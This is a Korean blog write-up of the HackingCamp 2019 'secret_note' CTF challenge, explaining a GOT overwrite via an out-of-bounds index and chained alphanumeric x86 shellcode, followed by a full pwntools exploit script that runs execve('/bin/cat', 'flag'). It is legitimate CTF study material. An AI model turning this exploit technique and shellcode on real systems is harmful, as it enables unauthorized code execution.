hackingcamp 2019 secret_note
이번 햌잉캠프에서 못 푼 두 문제중 마지막 문제이다!
집와서 방금 풀어봤는데 정말 고통스러웠다.
중간에 포기할까 생각을 두번정도 한듯..
저 위에 계신 Nextline
님은 두시간 반만에 푸셨다는데 나는 5시간이 걸렸다 ㅎㅎ..
하지만 고통이 컷던만큼 얻어간 것도 정말 많았던 문제이다.
Thanks to Wally, 코게 본선 화이팅~
NX disabled
add
메뉴에서 oob
로 got
의 값을 strdup
의 반환 값으로 덮을 수 있다.
인덱스가 -27보다 작으면 값이 0이 아니라도 해당 주소의 값을 변경할 수 있다.
8바이트만큼 입력할 수 있는데, alphanumeric
만 입력할 수 있다.
delete
함수에서 stdin
을 닫고, free
함수를 실행한다.
이 경우, stdin
이 닫혀있기 때문에 쉘을 얻지 못한다.
free
함수의 got
는 -28번째 인덱스에 존재하여 값을 덮을 수 있다.
이를 이용하여 연쇄적으로 쉘코드를 작성하여
execve("/bin/cat", {"cat", "flag"}, NULL)
을 실행시키는 쉘코드를 작성하면 되는데, 정말 힘들다..
우리가 작성해야 할 쉘코드 안에서
non alphanumeric value
를 생각해 보면,
syscall number
에서 0x0b
int 0x80
에서 \xcd\x80
/bin/cat
에서 /
pop ebx
에서 \x5b
syscall number
와 int 0x80
, pop ebx
는 스택과 레지스터에 인자를 모두 셋팅해둔 후 마지막에 xor
연산을 하면 된다.
https://nets.ec/Alphanumeric_shellcode
x86에서 사용할 수 있는 alphanumeric instruction
은 위와 같다.
보다시피 사용할 수 있는 레지스터가 eax, ecx, edx
밖에 존재하지 않으므로 맨 마지막에 인자를 셋팅해 주는게 편해 보인다.
총 8 바이트만큼 입력할 수 있으므로, 앞 6바이트를 연산에 사용하고 뒤 2바이트를 conditional jump
로 사용하도록 하자.
또한, -32
번 째 인덱스를 계속해서 재사용할 수 있으므로 이를 이용하여 30
번 째 인덱스를 넘지 않도록 코드를 짜면 된다.
처음에는 이 사실을 모르고 작성했어서, 이를 사용하지 않았다..
일단 스택에 인자를 셋팅해 주면, 침범하면 안되기 떄문에 pop
연산 혹은 push
연산을 통해 stack pointer
를 변경해 주고 값 연산을 해주는게 좋다.
from pwn import *
#context.log_level = 'debug'
e = ELF('./secret_note')
s = connect('pwnable.shop', 10000)
#s = process(e.path)
l = ELF('/lib/i386-linux-gnu/libc.so.6', checksec=False)
ru = lambda x: s.recvuntil(x)
def sl(x):
ru('> \n')
s.sendline(x)
p = lambda : pause()
io = lambda : s.interactive()
sla = lambda x,y: s.sendlineafter(x,y)
# free 0x0804A010 -28
def add(idx, name):
ru('>\n')
s.sendline('1')
sl(idx)
ru('> \n')
s.send(name)
def delete(idx):
ru('>\n')
s.sendline('3')
ru('>\n')
s.sendline(idx)
shell = asm('''
push ebx
push ebx
pop ecx
push ebx
pop ecx
''')
shell += 'u'
shell += '\x39'
add('-28', shell)
for i in xrange(-3, 0):
add(str(i), 'A')
shell = asm('''
push 0x74616361
push eax
''')
shell += 'u' # conditional jump jne
shell += '\x38'
add('-4', shell)
for i in xrange(3):
add(str(i), str(i))
shell = asm('''
pop ecx
push 0x38
pop eax
push eax
pop eax
''')
shell += 'u'
shell += '\x38'
add(str(3), shell)
for i in xrange(4, 7):
add(str(i), str(i))
shell = asm('''
push eax
pop eax
pop eax
xor al, 0x4e
''')
shell += 'u'
shell += '\x39'
add(str(7), shell)
for i in xrange(8, 11):
add(str(i), str(i))
shell = asm('''
push eax
push 0x6e696261
''')
shell += 'u'
shell += '\x38'
add(str(11), shell)
for i in xrange(12, 15):
add(str(i), str(i))
shell = asm('''
pop eax
xor al, 0x4e
push eax
push esp
''')
#shell += '\x63' # changed to pop ebx
shell += 'u'
shell += '\x39'
add(str(15), shell)
for i in xrange(16, 19):
add(str(i), str(i))
shell = asm('''
push edx
push 0x20746163
''')
shell += 'u'
shell += '\x38'
add(str(19), shell)
for i in xrange(20, 23):
add(str(i), str(i))
shell = asm('''
push esp
pop eax
push edx
push edx
push ecx
''')
shell += 'u'
shell += '\x39'
add(str(23), shell)
for i in xrange(24, 27):
add(str(i), str(i))
shell = asm('''
push edx
push 0x67616c66
''')
shell += 'u'
shell += '\x38'
add(str(27), shell)
for i in xrange(-6, -4):
add(str(i), 'A')
add(str(-9), 'A')
shell = asm('''
push esp
pop ecx
push edx
push ecx
push eax
''')
shell += 'u'
shell += '\x39'
add(str(-10), shell)
for i in xrange(3):
add('-32', 'A')
shell = asm('''
push esp
pop ecx
pop eax
pop eax
pop eax
pop eax
''')
shell += 'u'
shell += '\x38'
add(str(-32), shell)
for i in xrange(3):
add(str(-32), 'A')
shell = asm('''
pop eax
pop edx
push edx
pop eax
inc edx
inc edx
''')
shell += 'u'
shell += '\x38'
add(str(-32), shell)
for i in xrange(3):
add(str(-32), 'A')
shell = asm('''
inc edx
inc edx
inc edx
push eax
push ebx
''')
shell += 'u'
shell += '\x39'
add(str(-32), shell)
for i in xrange(3):
add(str(-32), 'A')
shell = asm('''
pop eax
pop eax
pop eax
push 0x4f
pop eax
''')
shell += 'u'
shell += '\x38'
add(str(-32), shell)
for i in xrange(3):
add(str(-32), 'A')
shell = asm('''
xor al, 0x30
push ecx
push eax
pop ecx
inc ecx
''')
shell += 'u'
shell += '\x38'
add(str(-32), shell)
for i in xrange(3):
add(str(-32), 'A')
shell = asm('''
xor [edx+0x43], dl
xor [edx+0x44], cl
''')
shell += 'u'
shell += '\x38'
add(str(-32), shell)
for i in xrange(3):
add(str(-32), 'A')
shell = asm('''
pop ecx
pop eax
push eax
pop eax
push eax
pop eax
''')
shell += 'u'
shell += '\x38'
add(str(-32), shell)
for i in xrange(3):
add(str(-32), 'A')
shell = asm('''
push 0x6b
pop eax
xor [edx+0x42], al
''')
shell += 'u'
shell += '\x38'
add(str(-32), shell)
for i in xrange(3):
add(str(-32), 'A')
shell = asm('''
push eax
pop eax
push eax
pop eax
push eax
pop eax
''')
shell += 'u'
shell += '\x38'
add(str(-32), shell)
for i in xrange(3):
add(str(-32), 'A')
shell = asm('''
push eax
pop eax
push eax
pop eax
push eax
pop eax
''')
shell += 'u'
shell += '\x38'
add(str(-32), shell)
for i in xrange(-13, -10):
add(str(i), 'A')
shell = asm('''
push 0x4c
pop eax
xor al, 0x47
pop edx
pop edx
''')
shell += '\x30'
add(str(-14), shell)
delete('-32')
io()
'system > writeup' 카테고리의 다른 글
pwnable.tw secret of my heart (0) | 2019.03.01 |
---|---|
pwnable.tw secretgarden (0) | 2019.02.20 |
hackingcamp 2019 can you get shell? (0) | 2019.02.19 |
trustctf 2019 abyss (2) | 2019.02.15 |
trustctf 2019 start (2) | 2019.02.15 |